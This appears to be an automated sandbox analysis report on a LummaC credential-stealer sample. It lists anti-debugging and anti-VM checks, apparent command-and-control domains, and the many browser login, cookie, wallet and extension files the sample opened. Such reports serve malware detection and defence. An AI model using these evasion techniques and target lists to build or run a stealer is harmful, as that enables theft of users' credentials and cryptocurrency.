Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65E77B5 second address: 65E77BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65E77BF second address: 65E77C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65E7A6B second address: 65E7A71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65E7A71 second address: 65E7A76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65E7C14 second address: 65E7C20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F0580C30A76h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65E7C20 second address: 65E7C24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: EF5137 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F1CFB5 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 644B1F6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 65FFF48 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6688952 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe TID: 3164

Thread sleep time: -180000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: file.exe, 00000000.00000002.2002313403.00000000065CC000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1988760035.0000000000ED8000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1990223648.000000000170F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: file.exe, 00000000.00000002.1990223648.00000000016A6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: file.exe, 00000000.00000002.1990223648.0000000001669000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1900969061.00000000016A6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1990223648.00000000016A6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2002313403.00000000065CC000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1988760035.0000000000ED8000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000002.1990223648.000000000170F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\;M

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: file.exe, 00000000.00000002.1988560109.0000000000CF1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: p3ar11fter.sbs
Source: file.exe, 00000000.00000002.1988560109.0000000000CF1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 3xp3cts1aim.sbs
Source: file.exe, 00000000.00000002.1988560109.0000000000CF1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: peepburry828.sbs
Source: file.exe, 00000000.00000002.1988560109.0000000000CF1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: p10tgrace.sbs
Source: file.exe, 00000000.00000002.1988560109.0000000000CF1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: processhol.sbs

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: file.exe, 00000000.00000002.2002313403.00000000065CC000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1988760035.0000000000ED8000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: file.exe, file.exe, 00000000.00000003.1837504310.00000000016FC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1900646242.00000000016FD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1785842918.00000000016FC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1785694429.0000000001717000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: file.exe PID: 7152, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000003.1784839364.00000000016FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets
Source: file.exe, 00000000.00000003.1784839364.00000000016FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: file.exe, 00000000.00000003.1774333796.0000000001705000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: file.exe, 00000000.00000003.1784839364.00000000016FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: file.exe, 00000000.00000003.1774333796.0000000001705000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: file.exe, 00000000.00000003.1774333796.0000000001705000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe, 00000000.00000003.1774333796.0000000001705000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
